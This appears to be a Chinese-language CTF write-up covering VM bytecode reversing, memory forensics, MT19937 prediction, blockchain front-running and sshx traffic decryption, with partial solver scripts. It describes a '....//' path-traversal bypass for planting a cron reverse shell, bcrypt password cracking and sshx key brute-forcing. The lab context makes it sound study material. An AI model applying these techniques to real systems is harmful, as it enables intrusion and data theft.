17 0x71: "LSL",
18 0x73: "LSR",
19 0x7A: "XOR",
20 0x7B: "AND",
21 0xFE: "RET",
22 0xFF: "HLT",
23 } 24
25 var InstructionSetB = map[byte]string{
26 0x13: "LDR",
27 0x14: "LDRI",
28 0x17: "STR",
29 0x18: "STRI",
30 0x2B: "MOV",
31 0x91: "ADD",
32 0x92: "SUB",
33 0x97: "MUL",
34 0xC1: "LSL",
35 0xC3: "LSR",
36 0xCA: "XOR",
37 0xCB: "AND",
38 0xFE: "RET",
39 0xFF: "HLT",
40 } 41
42 func dis(instrSet map[byte]string, bytecode [4]byte) { 43
如果能顺利还原字节码 ,那么这道题的难点就解决了。接下来就是根据可读性更好的汇编来分析加密 算法。 以第⼆个虚拟机执⾏的字节码为例。
其实特征已经相当明显 ,看到
9e3779b9 |
就已经确定TEA系列 ,继续向下看移位部分 ,是xxtea的特
征。唯⼀魔改的地⽅在于原来标准算法中的左移换成右移 ,右移换成左移。第⼀个虚拟机中算法没有 改动 ,是标准xxtea。
字节码虽然看起来很多 ,但基本上是若⼲轮循环的重复。两个vm密钥不同 ,不过都是在前⼏轮加密中 通过 MOV 指令写⼊缓存 ,所以只需要逆前⼏轮循环 ,找⻬密钥就可以去解密。
1 keyA := int32[4]{0x6e637466, 0x062ef0ed, 0xa78c0b4f, 0x32303234} 2 keyB := int32[4]{0x32303234, 0xd6eb12c3, 0x9f1cf72e, 0x4e435446} |
Misc
QRcode Reconstruction
预期解是根据flag明⽂开头的 NCTF{ 补全⼆维码后扫描 根据附件可以把⼆维码补个⼤概出来:
了解⼀下⼆维码的相关知识 ,右下角是mode indicator ,可以⽤QRazyBox⾥的Data Sequence Analysis ⽐较⽅便地查看:
同样⽤QRazyBox⾥的Data masking后可以看到该区域确实为0100 ,⼆维码扫描数据是从右下角开始 的:
结合该⼆维码为binary mode ,可以按照⼋位⼀字节补全右半部分 ,注意mode indicator上⾯⼋位是 数据⻓度 ,可以空着:
补全后⽤QRazyBox⾃带的Reed-Solomon Decoder解出flag:
谁动了我的MC?
直接⽤strings看⼀下内核版本 , 当然也可以⽤vol的banners插件
1 安装对应版本的内核镜像 2 sudo apt-get install linux-image-5.4.0-205-generic 3 4 安装对应版本的内核头⽂件 5 sudo apt-get install linux-headers-5.4.0-205-generic 6 7 安装对应版本的内核模块 8 sudo apt-get install linux-modules-5.4.0-205-generic 9 10 安装对应版本的驱动 11 sudo apt-get install linux-modules-extra-5.4.0-205-generic 12 13 查看已经安装的内核版本 14 dpkg -l |grep linux-image |
查看当前 GRUB 菜单项:
1 grep menuentry /boot/grub/grub.cfg |
根据输出确定你想要启动的内核菜单项。假设
Ubuntu, with Linux 5 .4 .0-205-generic |
的
索引是 1>5 ,其中1表⽰
Advanced options for Ubuntu |
菜单的索引 ,5表⽰新内核版本在
Advanced options for Ubuntu |
通过修改 GRUB 配置⽂件 ,可以设置默认启动的内核版本:
1 sudo nano /etc/default/grub |
找到GRUB_DEFAULT项将其修改为
GRUB_DEFAULT="1>5" |
, 更新 GRUB 配置并重启:
1 sudo update-grub 2 sudo reboot |
查看当前内核版本:
1 uname -r |
在
⽬录下找到对应内核版本的
System .map-5 .4 .0-205-generic |
⽂件
1 apt install build-essential dwarfdump 2 3 cd volatility2/tools/linux 4 5 make 6 7 zip ./Ubuntu-20.04.6-live-server.zip ./module.dwarf /boot/System.map-5.4.0- 205-generic |
将制作好的profile放到
volatility2/volatility/plugins/overlays/linux
下 ,⽤--info
能查看到就是成功了。
linux_recover_filesystem恢复整个⽂件系统 ,这需要⼀点时间 ,主要是看
opt/mcsmanager/daemon/data/InstanceData/
以后就可以停下了。
第⼀问要找服务器⾯板的密码 ,在
这个路径下有⼀个json⽂
件 ,⾥⾯存储了⾯板的⽤户信息 ,⾥⾯有密码的密⽂
从开头的
$2a$10 |
可以看出来这是bcrypt ,⽤给的字典爆破⼀下很快就能得到密码明⽂I0am0alone
接下来两问得放⼀起看
可以看出服务器⽤了ftbbackups模组 ,保留了⼗个备份的世界⽅便回档 ,在
opt/mcsmanager/daemon/data/InstanceData/e00336260129441a9b74844d485b2cd
这个路径下 ,挑⼀个能够打开的⽤MC进去看⼀下。版本从其他地⽅很容易就能看出来是
java版1.21
不难找到这座房⼦ ,就在出⽣点附近 ,后⾯有⼀格岩浆。 由于在MC中 ,岩浆会使附近烧起来 ,所以我 们可以推断出岩浆就是起⽕源。
F3查看坐标( Block)是-405,63,132
接下来就是找出是谁放的这桶岩浆 , 由于volatility恢复出的⽇志不全 ,前⾯⼀⼤半明显是缺失了
这⾥可以使⽤古法取证 :D
我们知道 ,在MC中 , 当你第⼀次拿起岩浆可以获得⼀个叫做
hot stuff |
(中⽂: 热腾腾的) 的成
就 ,我们直接⽤010在1.mem中搜索⼀下就能找到对应的⽤⼾Nathan ,这是预期的解法 ,也应该是最 简单的解法了:)当然也可以去world⽂件夹中找具体的玩家数据等
也许有的师傅会发现Ethan曾经造出过打⽕⽯ ,但显然根据前⾯进世界所见那是个迷惑选项:)
nctf{I0am0alone_Nathan_-405_63_132}
X1crypsc
题⽬完整源码如下:
14 print('[+]But try to beat the monster first:)\n')
15 time.sleep(1)
16 print('[+]Good luck!\n')
17 print('[+]You got a weapon!\n')
18 damage_rng = ()
19 def regenerate_damage():
20 global damage_rng
21 base = getrandbits(16)
22 add = getrandbits(16)
23 damage_rng = (base ,base + add)
24 monster_health = getrandbits(64)
25 menu = '''
26 ---Options---
27 [W]eapon 28 [A]ttack 29 [E]xit 30 '''
31 regenerate_damage()
32 print(menu)
33 HP = 3
34 while True:
35 if monster_health <= 0:
36 print('[+] Victory!!!')
37 break
38 if HP <= 0:
39 print('[!] DEFEAT')
40 exit(0)
41 print(f'[+] Monster current HP:{monster_health}')
42 print(f'[+] Your current HP: {HP}')
43 opt = input('[-] Your option:')
44 if opt == 'W':
45 print(f'[+] Current attack value: {damage_rng[0]} ~ {damage_rng[1]}')
46 if input('[+] Do you want to refresh the attack profile of the
weapon([y/n])?') == 'y':
47 regenerate_damage()
48 print(f'[+] New weapon attack value: {damage_rng[0]} ~
{damage_rng[1]}')
49 elif opt == 'A':
50 print('[+] The monster sensed of an imminent danger and is about to
teleport!!\n')
51 print('[+] Now you have to aim at the monster\'s location to hit
it!\n')
52 print('[+]Input format: x y\n')
53 x,y = map(int,input(f'[-] Provide the grid you\'re willing to
aim:').split())
54 if [x,y] == [randrange(2025),randrange(2025)]:
55 dmg = min(int(randint(*damage_rng) ** (Random().random() *
8)),monster_health)
56 print(f'[+] Decent shot! Monster was hevaily damaged! Damage
value = {dmg}')
57 monster_health -= dmg
58 else:
59 print("[+] Your bet didn't pay off, and the monster presented a
counterattack on you!")
60 HP -= 1
61 elif opt == 'E':
62 print('[+] Bye~')
63 exit(0)
64 else:
65 print('[!] Invalid input')
66 print('[+]Well done! You won the game!\n')
67 print('[+]And here is your gift: you got a chance to create a time capsule
here and we\'ll keep it for you forever:)\n')
68 keep_dir = '/app/user_file/'
69 class File:
70 def __init__(self):
71 os.makedirs('user_file', exist_ok=True)
72 def sanitize(self, filename):
73 if filename.startswith('/'):
74 raise ValueError('[!]Invalid filename')
75 else:
76 return filename.replace('../', '')
77 def get_path(self, filename):
78 hashed = hashlib.sha256(filename.encode()).hexdigest()[:8]
79 sanitized = self.sanitize(filename)
80 return os.path.join(keep_dir, hashed, sanitized)
81 def user_input(self):
82 while True:
83 filename = input('[-]Please enter the file name you want to
create: ')
84 data = []
85 while True:
86 line = input('[-]Now write something into the file (or type
"exit" to finish writing): ')
87 if line.lower() == 'exit':
88 break
89 data.append(line)
90 another_line = input('[-]Write in another line? [y/n]: ')
91 if another_line.lower() != 'y':
92 break
93 try:
94 path = self.get_path(filename)
95 os.makedirs(os.path.dirname(path), exist_ok=True)
⼀阶段解析
MT19937的伪随机和线性变换理解。~~做出本题甚⾄不需要你有关于逆向MT19937相关的知识~~
核⼼逻辑梳理
打怪的核⼼逻辑:
• 怪兽的⾎量是
• 可以⽆限地洗炼武器的属性 ,每次会调⽤
⽣成两个随机数 ,分别作为武器基
础伤害下限、上下限之差
• 怪兽在即将受到攻击时会闪现⾄
(rand range(2025),rand range(2025))
处 ,你需要预判怪
兽的最终位置
• 攻击怪兽时会⽤全局的
从武器的基础伤害中随机取值 ,并乘以⼀个Random新实例的
(默认转化为0-1间的
float |
) 幂数
显然我们的⽬的即为通过不断洗炼武器来收集⾜够多的随机数 ,以预测后⾯的随机数。
Random库相关
Random库的绝⼤多数函数所依赖的函数就是
get randbits |
randint |
的调⽤链就是
randint |
randbelow _ |
get randbits |
。
get randbits(n)
• 若 n = 32 ,则会将MT19937对应下标的状态值
extract |
后直接输出;
• 若 n < 32 ,则会将
get randbits(32)
的结果截断后输出( ⾼位优先 ,如
下
0x12345678 |
会被截断为
0x1234 |
) ;
• 若 n > 32 ,则会多次调⽤
, 按后⼀次输出的结果在⾼位拼凑⽽成。
确实是两个
拼接⽽成 ,但后者并不是两个
拼接⽽成 ,即
get randbits(32)
是每次
的最⼩单元。
伪随机逆向之没有MT19937的MT19937
⼴义上来说 ,MT19937的系统的状态构成就是624*32=19968个⼆进制位 ,或者 Z2 下的⼀个维度为 19968的向量。
⽽MT19937的所有变换都是线性的 ,意即 ,MT19937的所有⽅法 (
init __ |
twist |
、
extract |
) 都可以视为⼀个既有向量(或其⼀部分)和⼀个矩阵在
Z2 下做乘法的结果。
相对地 ,⾮线性变换则指不能被表⽰成矩阵乘法的⼀种变换。
作为参考 ,AES中 ,ShiftRows和 MixColumns这两种操作都是线性变换 ,起到扩散(Diffusion)的作 ⽤; ⽽ SubBytes则是典型的⾮线性变换 ,起到混淆(Confusion)的作⽤ 。
认识到线性变换这⼀特性的作⽤就在于 ,我们可以在不获得连续的19968个状态分量(传统的 MT19937逆向) 的情况下依然能够预测随机数。
假设存在 Z2 下的⼀个初始向量 v19968 ,其中每⼀个维度都是MT19937的初始状态(624个32位数展 开⽽得) ,经过“ 某种”变换(任意次数的状态旋转、提取、截取等等)后 , 由输出位经过特定⽅式
排列的结果是结果向量 v ′ = v ⋅ M 。
′
v19968
。由于这种变换是线性的 ,因此存在⼀个19968*19968的矩阵 M ,满⾜
此时只需要找到这个变换矩阵 M ,即可通过 v ′ 反推出 v。
⽽在上述执⾏的变换确定的情况下 ,通过打⿊盒即可确定 M。具体地 ,构造⼀个全零的、 19968维的向
量 v ,依次让第
i 位为1 ,每次执⾏和题⽬相同的变换(重复
get randbits |
操作) 并记录结果 ,获
得的19968个⼆进制位即为 M 的第 i ⾏。
M 构造完成后再和题⽬交互 ,得到向量后直接
solve_left |
就可以得到MT19937的初始状态;将之
代⼊ Random 的新实例中 ,和题⽬以相同的⽅式运⾏⼀遍 ,即可来到和交互环境中的MT19937相同的
状态。随后将本地和远程的PRNG同步 ,即可把怪打掉。开挂
这个矩阵 M 是19968*19968的 ,构造之⾮常耗时和烧内存 , 由于该矩阵是确定的 ,因此建议只构 造⼀次并将之存储起来 ,需要重新打/debug时再加载;可能需要虚拟内存(否则Windows下挂WSL 的sage可能会崩)
⼀阶段exp
28 n1 = int(io.recvuntil(b'~',drop=True).strip().decode())
29 n2 = int(io.recvline().strip().decode()) - n1
30 whatls.extend(int(i) for i in bin(n1)[2:].zfill(16))
31 whatls.extend(int(i) for i in bin(n2)[2:].zfill(16))
32
33 for _ in range(620):
34 io.sendlineafter(b'option:',b'W')
35 io.sendlineafter(b'?',b'y')
36 io.recvuntil(b':')
37 n1 = int(io.recvuntil(b'~',drop=True).strip().decode())
38 n2 = int(io.recvline().strip().decode()) - n1
39 whatls.extend(int(i) for i in bin(n1)[2:].zfill(16))
40 whatls.extend(int(i) for i in bin(n2)[2:].zfill(16))
41
42 weapon_data =
[int(''.join(map(str,whatls[-32:-16])),2),int(''.join(map(str,whatls[-16:])),2
)]
43 weapon_data[1] += weapon_data[0]
44
45 '''
46 # map a linear transformation matrix
47 # compute for first time only, afterwards comment this section for memory &
time conservation
48 mt = [] 49
50 for i in range(19968):
51 f_stats = [0] * 19968
52 f_stats[i] = 1
53
54 state = [int(''.join(map(str,f_stats[i*32:(i+1)*32])),2) for i in
range(624)]
55
56 r = Random()
57 r.setstate((3,tuple(state+[624]),None))
58
59 vc = []
60 vc.extend(int(i) for i in bin(r.getrandbits(64))[2:].zfill(64))
61 for _ in range(622): # 624 - 2 = 622
62 vc.extend(int(i) for i in bin(getrandbits(16))[2:].zfill(16))
63 vc.extend(int(i) for i in bin(getrandbits(16))[2:].zfill(16)) 64
65 mt.append(vc) 66
67 save(mt,'mt.sobj') 68 '''
69
70 t0 = time()
⼆阶段
成功进⼊第⼆阶段 ,这部分在题⽬中没有给出源码
其实经过简单尝试就能发现 ,这⾥只是过滤了../⽽且要求⽂件名不能以/开头 ,我们通过双写 . . . .// 就能绕过做到⽬录穿越。这⾥我们可以向定时任务写⼊反弹shell的命令。但是有⼀点要注意的是 ,定 时任务的命令结尾必须以换⾏符结束 ,可以参考这篇⽂章Linux的crontab无法执行的一些问题 | 杂烩饭 因此 , 我们在输⼊内容后要记得再换⼀下⾏ ,输⼊⼀个空格(什么都不写是换不成功的)。
其实也可以直接去改task.py ,但这⾥就展⽰⼀下定时任务的做法了
flag在题⽬进程的环境变量⾥
x1guessgame & x1guessgame_revenge
合约本⾝没有问题 ,只是普通的hash ,但是这⾥check winner的⽅法是由部署⼈去带着答案claim⼀ 次 ,相当于回收⾥⾯的10eth ,并且anvil设置成了每五秒⾃动挖⼀个块 ,所以这⾥就可以抢跑 ,监听
到check winner的交易之后就以更⾼的gasfee发布⼀样的交易 ,达到抢跑的⽬的 ,⽤ web3py很好写 exp:
x1sshx
根据题⽬名可以知道这是sshx的流量 ,后⾯就是读源码的环节 ,感兴趣的可以⾃⼰去看⼀看
根据源码可知 ,sshx会将session以快照形式存储在redis中 ,默认端⼝12601 ,于是就可以在流量⾥找 到这⼀部分 ,在tcp.stream eq 15
通过crates/sshx-server/src/session/snapshot.rs可以得知其实就是个proto buf序列化后再zstd压缩, 很容易就可以还原 ,先把crates/sshx-core/proto/sshx.proto转换成python格式
1 protoc --python_out=. sshx.proto |
然后直接解码就可以了
25
26 # 打印每个 shell 的信息
27 for sid, shell in session.shells.items():
28 print(f"\nShell ID: {sid}")
29 print(f"序列号 : {shell.seqnum}")
30 print(f"数据⻓度 : {len(shell.data)} 字节")
31 print(f"块偏移 : {shell.chunk_offset}")
32 print(f"字节偏移 : {shell.byte_offset}")
33 print(f"是否关闭 : {shell.closed}")
34 print(
35 f"窗⼝⼤⼩ : {shell.winsize_x}x{shell.winsize_y}
({shell.winsize_rows} ⾏ x {shell.winsize_cols} 列)")
36
37
38 # ⽰例调⽤
39 if name == " main ":
40 # ⽰例输⼊(替换为你的实际⼗六进制数据)
41 hex_data =
"28b52ffd60fa0fd187000a1057c23b95e820aa7e89b41317cc2a590612c321080112be2108cc1
f1268ca2c32c479c6df12cd887c1b7d4b5aa374ed777ceb634b1f6c46bdc34a727699a44bf7a79
3b3ab9125a73690bec641705ffe82c1afb71de3e460a27ee99985960e6b9bddb5cfaa001d4eb99
f03c718a95246be836eaab7bf7dab027d26b93685c165785b458c1742122bf40566d3d4bf11b04
dc86246743a4e3f322cedfbecdac2289b8114837f023fa3eff407ab71f1aa7ca04b41120eb0a7d
c7564f197befdf3ba69ed55123d72253e5d2d9bf25af527f3930287e4512df3125026d87b3ef6f
2e642a53404e332f55e1083b0b21d77cc8445d40ccd9b60ea33a977edb03a6abb3c342f129201e
2db1a8d4653693ec3a527959a866471fddd229dd5112fb730894cbbdd89895933524c6afd2dea7
fe145826e547a053f0c37ef10d65e81a07e30f143233cf24b32edbaf42af37f6517f8aef8cf805
b52bd29953499ef94b5684ff4bcfc6d159afae5d005613b9e0827c0d1e7fc5a9a80cb737410568
29f9584295674e5bb86349809ffaa25ebbcc355e5ad7ba482f0f537be120749c76f491ebd78120
8dbf39a0c92809d2b1201ba1214fee3cb29e1c36652655dc6d351ef6a0867321ba212ae0152aa8
846ef65de51f6508888441d22ff0a911df03403fd203c1a34ba8a8bb4d4d033dfb926da02f9b5b
321611e4f9f829c95893c75b21e4d183e281d9a7a2019f1cf50f8e26549be9ce3e758101026543
8b47264b1c83f55551a4ccd98d330b34694ce347f03e249615abdfc2fe9c5c4e1097d094f5364a
048f399a72feeda58c6f450a4a9327867230809d6d987294fa16dc00d1fc0fe36ce08c2bc2e399
31777a7635be6694772a1082ff4169412307ce25e33fcc1e2f90642e6834ef6aedabb4461638f6
64cc73cba934610a1cd5c0e79a8c592cf146c523361308fe28b9e121bb5f32c4f885a631059094
3aa237293a20b17bf78ceb503ff92c5ca121b76d7be6383ed71258c165b2d3691afe5e05aa4c9d
fad302b4727141219a6e831acb785fe749ca2bdbc3dbd1603b2442bad1b6326f0a1121a5baf03b
d01bed01c41a67821e7f8ad51f7aa3306b2a73316cc4712470c3640c4187a0607b03ae5a379eab
35d939eb35ee01140e58d2e7338ccf0979ccc168553f05e627399eb886c79f2b3d29571327eaf1
108660142e19de5d45a51f77fdf175bb8f0120b93308599b7cef589bf0cad12106cb9a4d23a025
0864fdcc659ee8e01ff12157460f415bb95bb9f1a18f3f00f2dbc720a9e1111531215dcecadc89
5aca4d253df358867d660ad6bb8d34d7512159849467f9e2bd820f823cfe422319bd006dc8ae53
9120793ee2fcd84b0a512083f94b75b07c7ce01120513e69726cb12131ae05c668b9aea3b1c2f9
b05f8623f88a1282c126829a82b7b011a7539e878bbfc1394ad90d00a46a0652ff83f8b838ae70
ec7947ac34ce60e17277b39d3e64c971c12fcf05dbd2088bd56759c1cf92f9d1ef33b8549a0dab
3eaee2afd714da4a3cafc0ce9e454615929531a7637ad5bcbde154ac0b605c61277ef705512438
07f0fd689b10df4a3406b110b1cf3b541ccdb54e18c9be8f7bf29753751631400918312b0fac2a
7fe3e17a338d774d10d0dce2a4f7293dd06aa7383db5c08221a226e12428ace01a50c547cdb54a
16d9503d35e1da9b8da121d2ace6f2694a5410c0a22ecb47a1b4b24ee18025f1788971d8e0539f
d03d14737990d4f4359fa81b354fe772aad129401bc987d15e37709195e9a5d4c7aacffdc99e87
167cd048f07fe501873894033fade93fd3fe690e35589ad191cf61930ae3469c99e9eaddde3c7b
3c77aa70df05abc390186eba45fe72b0188188c719e34c15661af385f5ee3d651939898a1e745d
c4484c4fdc637217dbc7ed8dd49b0ad8901f00fd57cf182236f58a58b1ee8d3cd38bdb84a43da2
056e688ed417712a7a1df0d041203957dfe12079a5d5f285653e01208965b31c1cdae032a12012
0120c8b81596cec473bd604c3186a121a9fb8f80384a301188fd784ee0bc0963636341e1219ffb
fc12c011212ed0eaf29fd89247abb9c32c6bce65677b0e5120787ba58455b4a96120739d7bd903
0c5141208e26cc91086d98ca212033ca0b8120a70998fc3e7c63babe2ee120779290ee1a9e9de1
20aca7ab4b50b42bab90e2c12688554f733aa90a10e60332e13b84bd2782b3ebe077a49dc6f81f
6dd17a4721f0a23cdd3f2028ecc86a617b7f2e1e29a66beaa73da730d6532b622e0f0d85115bbb
4010ba53c2ae9115d278f5053959cccbae54486d1fadba8d08074edd6cd541e94d317adf7ba247
312436a21a727456f9be3990c9f2e7cab2dbc10185ec4e5e44a45c6255d6d03ffb09df5aca8004
5812cfff52e6955e53a91c11438c4f767591b617ecedcc59c2f8c25adaf1912424e127a7b11b13
e57972b2278a0b12c910ed5ffba746afaccfa69bd949f0a09aab9725e0133b5e3b74668aea7943
f2d62ba307c0e4fc66da1efdc32d65bfe05efc8f4129401ee99cc36fb0196d44c91bee36aa9ebd
479686ca622641e4ff2b0daceeeb7b1dc3f123cccf9b7b4e231c68ec6f9fbbdc39379dacb4aa6f
fce46af3b2a280cfc3c121ede2e148e9d03b0db960be4fb851029f09b6e5658516560a77588813
3a234a4f4805b9cb772f1ae2ea3b5f3a768e37131916f6976a52a2bb93f648dc9fa82a1a838a04
f83ca3f40fdaa1b36f567b457fb049a12030c84ae1207390a9a5da58d141208b0a33ee432b70cd
7120101120c12777218b01718661a5aa1f8122033cade98707d67a10d63f72b22608dd9079479f
56600b266abb361925c0ef2ee1212ba4f016a0e841c218d07116d80826efe9bef121f6537d5230
b52cee385f41bf997e8961219cd8ffc5e4b67521131f7d1899997122970435fe32458e21453d8f
f1c5a766a1e1071ba0c694937885b1d0415b84efefb5dee77f873dbb752a0122635dc24900198a
72a738201f1097966e401f7740e918004414e056c258490ccd440acae79853b121204ebe50754c
67a21bfcb487b69549a26e0bb1235c61e5fc6beb419086a290204780d7c22c3e36b4def890a683
6839a62bda6b1c125fc36c95a4ab6e249b75fe46674607b3615e993e0121e8f437efb1b69f1402
8c500078cdb5cb4c396c2278d968fb6817f4c79a92c121edf804f043c24f9d005d04ed6e668611
c05313616aa90b0ff861cba7f6a35124747a9e22c8d8095ab2f91023ec1657e39333a73725a967
a6624a3f79a355d1a3408551e8636cd6c3f54ad073e0a3c34b8820718b8f24b558722d493a187e
d8bdef3493ab0c3d4aa1207084b59020b5164120831cfe1b012ab225f120306a8211216b3aae6e
206e3027ab9caec143e3c622ef36f98b957d11209e8b6ae48e4ef131ff21268ebbff3231e61e8b
c3b350905430d5aae0cddeb0b9496beab5c8ed3fefecd014e3118462ac12c59c17fcccc81fbe5c
723ecbac5ac01b945f94751e31ff9f10b3ae84e4022ab1cdc181f17e7c1b65970bcd498bad1307
073e1007cc066bbfa5a9e593d9d631d30006b123001906e7150d67dec6ed1f8830813c2295b93b
b70cd224de35ad4a2da7ff9011b65d717330497f727f528c632d2f79c1b1213f6d8cb3d7f5e8bf
97f2206db89eacbdb013d5a12421a5ff84071a72f3334d358d3d1681e34f121ca974cb4554a766
47127422212d497fffb77d69e6beecf920ae1a3d723d30827167f73fd50e5f85c3b5d78f6a67f8
db0129701294655b75ae713564e02fadf72bba54a51c83b5eb07651af566b300942c73f2eed3be
8f145fc37f077afbad7ec8ed9d781a88f212a4f13bf332a45c7f84a56f9af736258ab9c66a0539
d3b0320d4e3adb5ba6bdd4e8cb0ad17fe0b26654fcff96ede74c38741810496a80ca63bb85e261
7c83bb030589d7847cdd9f2ad8b41b5833f755688c088143ea7d3e819d95837fb6799d0fadb531
20751a512feea3a211208761039f8680c527f1201311214a9acc9ad6a6054b047cfa825a7b9fbd
13b843c66122ac00887db14d7e2cbdc1bc4bd4f9f0ed4e4492e1da776b328a4687d8ccfc9ba145
323d9df49bd55aae76e124156f8ffc8fd7329366deba56ef3e3c8fff1cb4234ea3d665bf1a2c2b
就可以得到其中储存的加密零值 ,即使⽤key和全0iv加密的全0数据
1 加密零值 : 57c23b95e820aa7e89b41317cc2a5906 |
然后就可以根据crates/sshx/src/encrypt.rs中的加密⽅式爆破出完整密钥
1 from binascii import hexlify
2 import argon2
3 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
4 from cryptography.hazmat.backends import default_backend
5 import string
6
7 key_prefix = b"4ZF1SFqBlIUma"
8 salt = b"This is a non-random salt for sshx.io, since we want to stretch the
security of 83-bit keys!"
9 time_cost = 2
10 memory_cost = 19 * 1024
11 parallelism = 1
12 hash_len = 16
13
14 for i in string.printable:
15 key = key_prefix + i.encode()
16 raw_hash = argon2.low_level.hash_secret_raw(
17 secret=key,
18 salt=salt,
19 time_cost=time_cost,
20 memory_cost=memory_cost,
21 parallelism=parallelism,
22 hash_len=hash_len,
23 type=argon2.low_level.Type.ID 24 )
25
26 iv = bytes([0] * 16) 27
28 plaintext = bytes([0] * 16) 29
30 cipher = Cipher(
31 algorithms.AES(raw_hash),
32 modes.CTR(iv),
33 backend=default_backend()
34 )
35
36 encryptor = cipher.encryptor()
37 ciphertext = encryptor.update(plaintext) + encryptor.finalize()
38
39 if ciphertext.hex() == "57c23b95e820aa7e89b41317cc2a5906":
40 print(key.decode())
然后就可以直接解密流量了 ,加密流量通过webso ket传输 ,在tcp.stream eq 53 ,消息是cbor2序列 化的 ,直接解就⾏了
1 import cbor2
2 import os
3 import sys
4 from Crypto.Cipher import AES
5 from Crypto.Util import Counter
6
7 all = """
8 a16568656c6c6f8201781c7a7973676d7a62407a7973676d7a6264654d6163426f6f6b2d50726f
9 b900016c61757468656e746963617465825057c23b95e820aa7e89b41317cc2a59065057c23b95
e820aa7e89b41317cc2a5906
10 b90001677365744e616d65677a7973676d7a62
11 b90001677365744e616d65677a7973676d7a62
12 a1657573657273818201a4646e616d656655736572203166637572736f72f665666f637573f668
63616e5772697465f5
13 a1667368656c6c7380
14 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72f665666f6375
73f66863616e5772697465f5
15 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72f665666f6375
73f66863616e5772697465f5
16 b9000169736574437572736f72821901733867
17 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901733867
65666f637573f66863616e5772697465f5
18 b9000169736574437572736f72821901773841
19 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773841
65666f637573f66863616e5772697465f5
20 a16c7368656c6c4c6174656e637900
21 b9000169736574437572736f72821901733832
22 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901733832
65666f637573f66863616e5772697465f5
23 b9000169736574437572736f72821901733832
24 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901733832
65666f637573f66863616e5772697465f5
25 b9000169736574437572736f72821901753843
26 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901753843
65666f637573f66863616e5772697465f5
27 b9000169736574437572736f72821901743844
28 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901743844
65666f637573f66863616e5772697465f5
29 b9000169736574437572736f72821901743845
30 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901743845
65666f637573f66863616e5772697465f5
31 b9000169736574437572736f72821901743845
32 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901743845
65666f637573f66863616e5772697465f5
33 b9000169736574437572736f7282190174384b
34 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190174384b
65666f637573f66863616e5772697465f5
35 b900016470696e671b0000019594c14b1a
36 a164706f6e671b0000019594c14b1a
37 b9000169736574437572736f7282190174385d
38 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190174385d
65666f637573f66863616e5772697465f5
39 b9000169736574437572736f72821901743872
40 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901743872
65666f637573f66863616e5772697465f5
41 b9000169736574437572736f7282190175387f
42 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190175387f
65666f637573f66863616e5772697465f5
43 b9000169736574437572736f72821901773886
44 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773886
65666f637573f66863616e5772697465f5
45 b9000169736574437572736f72821901773888
46 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773888
65666f637573f66863616e5772697465f5
47 a16c7368656c6c4c6174656e637901
48 b9000169736574437572736f72821901773888
49 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773888
65666f637573f66863616e5772697465f5
50 b9000166637265617465820000
51 a1667368656c6c73818201a461780061790064726f7773181864636f6c731850
52 b9000169737562736372696265820100
53 b900016470696e671b0000019594c152f2
54 a164706f6e671b0000019594c152f2
55 b9000169736574437572736f72821901773887
56 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773887
65666f637573f66863616e5772697465f5
57 b9000169736574437572736f728219015d3839
58 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219015d3839
65666f637573f66863616e5772697465f5
59 b9000169736574437572736f728219014507
60 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901450765
666f637573f66863616e5772697465f5
61 a16c7368656c6c4c6174656e637901
62 a1666368756e6b73830100815868ca2c32c479c6df12cd887c1b7d4b5aa374ed777ceb634b1f6c
46bdc34a727699a44bf7a793b3ab9125a73690bec641705ffe82c1afb71de3e460a27ee9998596
0e6b9bddb5cfaa001d4eb99f03c718a95246be836eaab7bf7dab027d26b93685c165785b458c17
42
63 a1666368756e6b738301186881582bf40566d3d4bf11b04dc86246743a4e3f322cedfbecdac228
9b8114837f023fa3eff407ab71f1aa7ca04b41
64 a1666368756e6b7383011893814eb0a7dc7564f197befdf3ba69ed55
65 a1666368756e6b73830118a181583d72253e5d2d9bf25af527f3930287e4512df3125026d87b3e
f6f2e642a53404e332f55e1083b0b21d77cc8445d40ccd9b60ea33a977edb03a6abb3c342f
66 b9000169736574437572736f72821901331847
67 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901331847
65666f637573f66863616e5772697465f5
68 a1666368756e6b73830118de825892e2db1a8d4653693ec3a527959a866471fddd229dd5112fb7
30894cbbdd89895933524c6afd2dea7fe145826e547a053f0c37ef10d65e81a07e30f143233cf2
4b32edbaf42af37f6517f8aef8cf805b52bd29953499ef94b5684ff4bcfc6d159afae5d005613b
9e0827c0d1e7fc5a9a80cb73741056829f9584295674e5bb86349809ffaa25ebbcc355e5ad7ba4
82f0f537be4749c76f491ebd78
69 a1666368756e6b7383011901778148dbf39a0c92809d2b
70 b9000169736574437572736f728219012f1863
71 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219012f1863
65666f637573f66863616e5772697465f5
72 b9000169736574437572736f728219012f1866
73 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219012f1866
65666f637573f66863616e5772697465f5
74 b9000169736574437572736f728219012f1866
75 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219012f1866
65666f637573f66863616e5772697465f5
76 b9000169736574437572736f728219012f1866
77 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219012f1866
65666f637573f66863616e5772697465f5
78 b9000169736574437572736f7282190131186e
79 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190131186e
65666f637573f66863616e5772697465f5
